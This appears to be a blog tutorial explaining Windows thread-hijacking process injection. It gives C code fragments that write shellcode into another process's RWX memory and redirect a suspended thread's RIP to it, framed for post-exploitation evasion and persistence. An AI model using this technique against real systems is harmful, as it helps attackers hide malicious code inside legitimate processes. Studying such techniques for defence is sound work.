Thread Injection - Windows Process Injection Technique
This post will be an explanation of how to perform thread hijacking on Windows, one type of Process injection techniques that can be used in post-exploitation for evasion, privilege escalation, persistence, etc. It's going to be explained as threads.
We will need first to locate and open a process, allocate memory region for our code, write code on the allocated memory, and identify the thread ID to hijack.
Initial Setup
First, we need to open a target process and allocate memory for our shellcode:
HANDLE h_Process = OpenProcess(PROCESS_ALL_ACCESS,FALSE,atoi(argv[1]));
PVOID remoteBuffer = VirtualAllocEx(h_Process,NULL,
sizeof shellcode,MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h_Process,remoteBuffer,shellcode,sizeof shellcode, NULL);
// will loop through the process thread then identify the thread ID of the process we want
HANDLE proc_snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First( proc_snap, &threadentery);
while (Thread32Next(proc_snap, &threadentery)) {
if (threadentery.th32OwnerProcessID == atoi(argv[1])) {
h_thread = OpenThread( THREAD_ALL_ACCESS,
FALSE,threadentery.th32ThreadID);
break;}
}
Thread Hijacking Process
Then we need to:
- Suspend the target thread
- Get its context to use it in our API call
SuspendThread(h_thread);
GetThreadContext(
h_thread,
&ctx
);
Modifying Thread Context
After we get its context, we need to write on the RIP Instruction Pointer Register, which is responsible for determining the next code instruction. So we update it to point to our shellcode in memory, and we need to update the thread context since we updated it.
ctx.Rip = (DWORD_PTR)remoteBuffer;
SetThreadContext(h_thread, &ctx);
Resuming Execution
Finally, we resume the thread from the suspending state:
ResumeThread(h_thread);
Conclusion
Now we have hijacked the thread and this can be leveraged for more evasion techniques. Thread injection is a powerful technique that allows attackers to execute malicious code within the context of a legitimate process, making detection more difficult.